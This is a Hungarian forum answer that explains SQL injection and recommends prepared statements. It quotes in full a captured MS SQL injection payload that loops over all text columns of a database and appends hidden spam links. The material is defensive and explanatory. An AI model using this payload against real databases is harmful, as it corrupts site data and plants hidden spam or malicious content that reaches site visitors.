Más szóval, hogy ne tudjanak könnyedén beilleszteni mindenféle kódokat az adatbázisodba, vagy egy jó lekérdezéssel a szerver ne köpje ki az összes felhasználó adatát...
Más szóval: ha bármilyen user input-ot feldolgozol, akkor csak és kizárólag prepared statementtel tedd. Ellenkező esetben egy orbitális (és rendkívül banális, könnyen kivédhető) biztonsági rést hagysz.
Erre egyébként manapság bot hegyek vannak, nálunk kb heti 1-2 próbálkozás van mindenféle SQL injectionra.
Pl, legutóbb ebből volt egy próbákozás (pont ma reggel érkezett):
[link] @c cursor;declare @d varchar(4000);set @c=cursor for select 'update ['+TABLE_NAME+'] set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''+char(60)+''div style="display:none"''+char(62)+''information about abortion pill ''+char(60)+''a href="http:''+char(47)+char(47)+''www.idpa.com''+char(47)+''blog''+char(47)+''page''+char(47)+''where-to-buy-abortion-pills.aspx"''+char(62)+case ABS(CHECKSUM(NewId()))%3 when 0 then ''read'' when 1 then ''online medication pill'' else ''online'' end +char(60)+char(47)+''a''+char(62)+'' about abortion pill''+char(60)+char(47)+''div''+char(62)+'''' else '''' end' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c--
Ez pl egy példája az SQL injectionnak. Ha pl a TPR paramétert csak benyomom a lekérdezésbe, akkor a hosszú szám után következő '); jel zárná a lekérdezést, és utána a támadó próbálkozik beilleszteni egy saját kódot - majd a legvégén a -- jellel jelzi, hogy az SQL minden mást hagyjon figyelmen kívül.
Ez speciel csak egy kevésbé kártékony cucc, "csupán" egy reklámot próbál beilleszteni. De ugyanezzel a technikával akár vírust, kémprogramot is lehet juttatni a felhasználó gépére, ha megbízik az oldaladban.
A prepared statement nem az sql injection kivédésére lett kitalálva. Az, hogy az ellen is véd, az a technológia egy mellékes eredménye (az átfuttatott adatokon a pdo végrehajtja a megfelelő műveleteket).
A prepared statement lényege, hogy egy sablon lekérdezést (insert/update/...) több rekordon is végre lehessen hajtani úgy, hogy ne kelljen újra és újra előállítani az sql szintaxist, csak a megfelelő változók értékét cseréljük, és elküldjük a végrehajtási utasítást.
Vagy tárolt utasítást tudunk többször elküldeni a szervernek ugyanazon a lekérdezésen.
Kapcsolódó kérdések:
Minden jog fenntartva © 2024, www.gyakorikerdesek.hu
GYIK | Szabályzat | Jogi nyilatkozat | Adatvédelem | Cookie beállítások | WebMinute Kft. | Facebook | Kapcsolat: info(kukac)gyakorikerdesek.hu
Ha kifogással szeretne élni valamely tartalommal kapcsolatban, kérjük jelezze e-mailes elérhetőségünkön!